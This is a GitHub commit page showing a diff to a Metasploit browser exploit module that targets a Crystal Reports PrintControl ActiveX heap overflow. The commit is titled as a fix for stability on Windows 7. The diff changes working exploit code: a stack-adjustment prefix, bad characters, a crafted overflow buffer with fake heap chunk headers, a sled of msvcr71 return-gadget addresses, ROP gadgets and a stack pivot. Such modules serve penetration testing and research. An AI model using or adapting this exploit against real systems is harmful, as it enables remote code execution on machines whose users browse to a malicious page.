Skip to content

Commit 3ed36bd

Browse files
author
jvazquez-r7
committed
trying to fix stability issues on w7
1 parent bce7d48 commit 3ed36bd

File tree

1 file changed

+13
-3
lines changed

1 file changed

+13
-3
lines changed

modules/exploits/windows/browser/crystal_reports_printcontrol.rb

Lines changed: 13 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -54,8 +54,9 @@ def initialize(info={})
5454
'Payload' =>
5555
{
5656
'Space' => 890,
57+
'BadChars' => "\x00",
5758
'DisableNops' => true,
58-
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
59+
'PrependEncoder' => "\x81\xc4\xa4\xf3\xfe\xff" # Stack adjustment # add esp, -500
5960
},
6061
'DefaultOptions' =>
6162
{
@@ -221,9 +222,18 @@ def load_exploit_html(my_target, cli)
221222
# 0x40c: Fill the current CrystalPrintControl object
222223
# 0x8: Overflow next heap chunk header
223224
# 0x52c: Overflow next CrystalPrintControl object until the ServerResourceVersion offset
224-
bof = rand_text_alpha(1044)
225+
bof = rand_text_alpha(1036)
226+
bof << [0x01010101].pack("V") # next heap chunk header
227+
bof << [0x01010101].pack("V") # next heap chunk header
225228
bof << [my_target.ret].pack("V")
226-
bof << rand_text_alpha(4) # trash
229+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
230+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
231+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
232+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
233+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
234+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
235+
bof << [0x7c3410c4].pack("V") # ret # msvcr71
236+
bof << [0x7c3410c4].pack("V") # ret # msvcr71 # eip for w7 sp0 / ie8
227237
bof << rop_gadgets
228238
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, stackpivot_to_spray).encode_string
229239
bof << rand_text_alpha(0x940 - bof.length)

0 commit comments

Comments
 (0)